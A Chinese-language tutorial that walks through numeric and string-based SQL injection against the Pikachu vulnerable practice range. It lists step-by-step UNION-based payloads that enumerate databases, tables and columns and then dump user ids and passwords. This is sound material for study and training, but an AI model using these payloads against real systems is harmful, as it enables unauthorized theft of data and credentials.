**
一、SQL注入概念
**
- SQL注入是表示指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的回显,达到执行恶意SQL
**
二、SQL注入的思路
**
- 判断sql注入的类型,通常分为了数字型和字符型
- 拆解在sql中的字段的数量
- 获取到sql中当前的所有数据库
- 获取到数据库中的所有的表
- 获取到表中的字段名称
- 获取到需要的数据
**
三、pikachu注入分析
介绍:pikachu是一个漏洞练习平台。其中包含了常见的web漏洞。这次的sql注入将在pikachu这个靶场中进行
**
- 判断pikachu中数字型注入
id=1 and 1=1 返回正确
id=1 and 1=2 返回错误
- 利用order by查出字段数
id=1 order by 3
发现在查询字段数为3的会产生报错,所以字段数判断在3以下
id=1 order by 2
这次我们发现当字段数为2时候,没有报错,所以当前字段数为2
- 使用联合查询出字段位
id=1 and 1=2 union select 1,2
- 查询出数据库名称
id=1 and 1=2 union select database(),2
- 第四步中已经发现出数据库名称为"pikachu",使用联合查询语句找出所有的表名
id=1 and 1=2 union select table_name from information_schema.tables where table_schema=‘pikachu’
6. 使用联合查询column来查询在第五步中查询到的表名的字段名称
id=1 and 1=2 union select column_name,2 from information_schema.columns where table_name=‘member’
- 使用查询到第六步中的字段名称,查询需要字段中的内容详细
id=1 and 1=2 union select id,pw from member
四、pikachu注入分析(二)
这次讲解为pikachu平台中sql注入字符型注入的判断
- 判断pikachu中字符型注入
- 字符型注入中需要注意的是在字符型文本内容中与数字型不同,字符型内容有两个单引号或者两个双引号来闭合文件内容,才可以判断字符型注入。
从报错中我们可以看出在name=1后面添加了一个单引号出现报错,原因是我们加入了一个单引号使其前面一个单引号与我们输入的单引号进行了闭合。
http://192.168.8.146/vul/sqli/sqli_str.php?name=1’
- 使用and或or对字符型注入来判断是否有注入点
这里我们在最后增加了两个杠(空格)- -(空格)来对本身数据库中后面一个单引号进行注释
name=1’ and 1=2 - -
name=1’ or 1=1 - -
- 为什么使用and和or返回的结果差距为什么这么大呢,我们从数据库的查询代码来学习。
- 这里and是表示并且的连接,需要两个结果都为真时候才会返回正确的结果
- 这里or是表示或者的连接,只需要两个结果中一个为真时候就可以返回正确的结果
select id,email from member where username=’ 1’and 1=2 - - ’
select id,email from member where username='1’or 1=1 - - ’
- 判断此注入中字段数为多少
第一条命令用来判断此字段最大为多少
第二条命令用来判断有几个字段
name=1’ order by 3
name=1’ union select 1,2
- 使用联合查询出数据库名称
通过这一步的sql查询出数据库的名称为“pikachu”
name=1’ union select database(),2
- 使用联合查询语句找出所有的表名
name=1’ union select table_name,2 from information_schema.tables where table_schema=database()
name=1’ union select table_name,2 from information_schema.tables where table_schema=‘pikachu’
- 使用联合查询column来查询在第五步中查询到的表名的字段名称
这一步从member表中查询出了表中的字段名称
name=1’ union select column_name,2 from information_schema.columns where table_name=‘member’
- 使用查询到第六步中的字段名称,查询需要字段中的内容详细
name=1’ union select id,pw from member